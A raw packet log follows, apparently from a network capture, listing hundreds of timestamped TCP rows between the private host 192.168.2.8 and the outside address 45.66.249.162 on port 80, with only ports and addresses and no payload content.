Oct 11, 2024 22:32:35.200438976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200443029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200452089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200459003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200469971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200474024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200480938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200489998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200496912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200509071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200515032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200531006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200547934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200556993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200557947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200581074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200597048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200613022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200622082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200644970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200660944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200716972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200750113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200802088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200822115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200831890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200834036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200851917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200853109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200865030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200870037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200882912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200884104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200897932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200900078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200907946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200917959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200932026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200947046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352066994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352087021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352135897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352144957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352150917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352169037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352178097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352178097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352188110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352197886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352197886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352237940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352420092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352432013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352447033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352461100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352474928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352485895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352499008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352504015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352525949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352529049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352536917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352545977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352557898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352574110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352575064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352591991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352597952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352615118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352622032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352628946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352646112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352647066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352659941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352670908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352679014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352688074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352699995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352713108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352715969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352730989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352739096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352745056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352755070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352763891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352771044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352777958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352787018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352797031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352802992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352817059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352821112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352834940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352835894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352853060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352859974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352869034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352871895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352891922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352895021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352904081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352914095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352922916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352930069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352945089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352946997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352962017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352963924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352978945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.352981091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352994919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.352998018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353013992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353015900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353032112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353035927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353046894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353048086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353070974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353085041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353243113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353300095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353367090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353378057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353394985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353404045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353426933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353440046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353446960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353446960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353446960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353456974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353463888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353476048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353481054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353496075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353498936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353518963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353519917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353533983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353539944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353554010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353555918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353569031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353573084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353583097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353590012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353605032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353607893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353620052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353626013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353636026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353641033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353657961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353658915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353672028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353673935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353692055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353692055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353703976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353708982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353724003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353724957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353737116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353743076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353758097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353758097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353775978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353780985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353791952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353791952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353811979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353813887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353828907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.353832006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353846073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353863001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.353991032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354001999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354024887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354027987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354038954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354047060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354058027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354060888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354077101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354094028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354301929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354312897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354331970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354336977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354348898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354360104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354367971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354371071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354383945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354387999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354399920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354403973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354420900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354435921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354485035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354521990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354547024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354557991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354578018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354589939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354615927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354674101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354685068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354702950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354716063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354717016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354733944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354741096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354764938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354908943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.354984999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.354991913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355004072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355021954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355036020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355036974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355056047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355056047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355074883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355074883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355088949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355104923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355211973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355221987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355240107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355249882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355252981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355269909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355278969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355281115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355300903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355303049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.355328083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.355350018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506484032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506525993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506542921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506558895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506584883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506594896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506608963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506618977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506633043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506652117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506664991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506666899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506690025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506691933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506691933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506704092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506721020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506728888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506742954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506764889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506771088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506788969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506799936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506807089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506817102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506829023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506836891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506836891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506849051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506864071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506871939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506875038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506886959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506891966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506911993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506915092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506920099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506930113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506946087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506954908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506963968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506968975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.506982088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.506990910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507005930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507011890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507015944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507036924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507036924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507036924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507051945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507055998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507071018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507072926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507091999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507097960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507107019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507117033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507124901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507133961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507141113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507152081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507164955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507173061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507184029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507195950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507203102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507205963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507225037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507230997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507250071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507261992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507477045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507498026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507514000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507523060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507531881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507531881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507545948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507560968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507565022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507567883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507582903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507587910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507596016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507607937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507617950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507622957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507636070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507652998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507673025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507678032 CEST	49707	80	192.168.2.8	45.66.249.162
